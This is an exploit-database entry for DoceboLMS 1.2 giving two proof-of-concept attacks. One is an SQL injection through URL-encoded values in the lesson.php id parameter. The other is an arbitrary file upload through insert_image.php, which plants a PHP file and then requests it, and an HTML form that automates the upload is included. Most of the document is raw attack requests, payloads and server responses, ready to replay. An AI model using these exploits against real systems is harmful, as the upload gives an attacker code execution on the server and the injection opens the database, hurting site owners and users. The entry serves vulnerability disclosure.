DoceboLMS 1.2 - SQL Injection / Arbitrary File Upload

EDB-ID:
45858

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-14

Vulnerable App:

```
# Exploit Title: DoceboLMS 1.2 - SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.spaghettilearning.com/
# Software Link:
https://datapacket.dl.sourceforge.net/project/spaghettilearn/Spaghettilearnin
%20Windows%20version/splearn12beta.exe
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/modules/progcourse/lesson.php?id=[SQL]&idC=
[SQL]&idU=[SQL]
#
GET /[PATH]/modules/progcourse/lesson.php?
id=%31%27%20%41%4e%44%20%45%4c%54%28%31%3d%31%2c%31%29%20%41%4e%44%20%27%45%6
HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: learning=fd935520ed5eafc7e53bffb101c8de6b
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 15:28:22 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.3
X-Powered-By: PHP/4.3.3
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html


# Exploit Title: DoceboLMS 1.2 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.spaghettilearning.com/
# Software Link:
https://datapacket.dl.sourceforge.net/project/spaghettilearn/Spaghettilearnin
%20Windows%20version/splearn12beta.exe
# Version: 1.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?
op=proginsert
#
POST /[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert
HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
```

```
Cookie: learning=ab3edb1f569003472985f03a29c58ff3
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------252032879113191361911349675 75
Content-Length: 394
-----------------------------252032879113191361911349675 75
Content-Disposition: form-data; name="max_file_size"
10000000000
-----------------------------252032879113191361911349675 75
Content-Disposition: form-data; name="uploadedfile"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------252032879113191361911349675 75--
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 16:03:33 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.3
X-Powered-By: PHP/4.3.3
Set-Cookie: learning=ab3edb1f569003472985f03a29c58ff3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

#
GET /[PATH]/fileCorsi/galleryImg/1542038613.user.phpinfo.php HTTP/1.1
Host: 192.168.245.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: /[PATH]/modules/htmlarea/popups/insert_image.php?op=proginsert
Cookie: learning=ab3edb1f569003472985f03a29c58ff3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 12 Nov 2018 16:03:43 GMT
Server: Apache/1.3.27 (Win32) PHP/4.3.3
X-Powered-By: PHP/4.3.3
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

# POC:
# 2)
# http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?
op=proginsert
#
# http://localhost/[PATH]/fileCorsi/galleryImg/[FILE]
#
<html>
<body>
<form method="post" enctype="multipart/form-data"
action="http://localhost/[PATH]/modules/htmlarea/popups/insert_image.php?
op=proginsert">
<input name="max_file_size" value="10000000000" type="hidden">
<input name="uploadedfile" size="25" type="file">
<input value="_INS" type="submit">
</form>
</body>
</html>
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions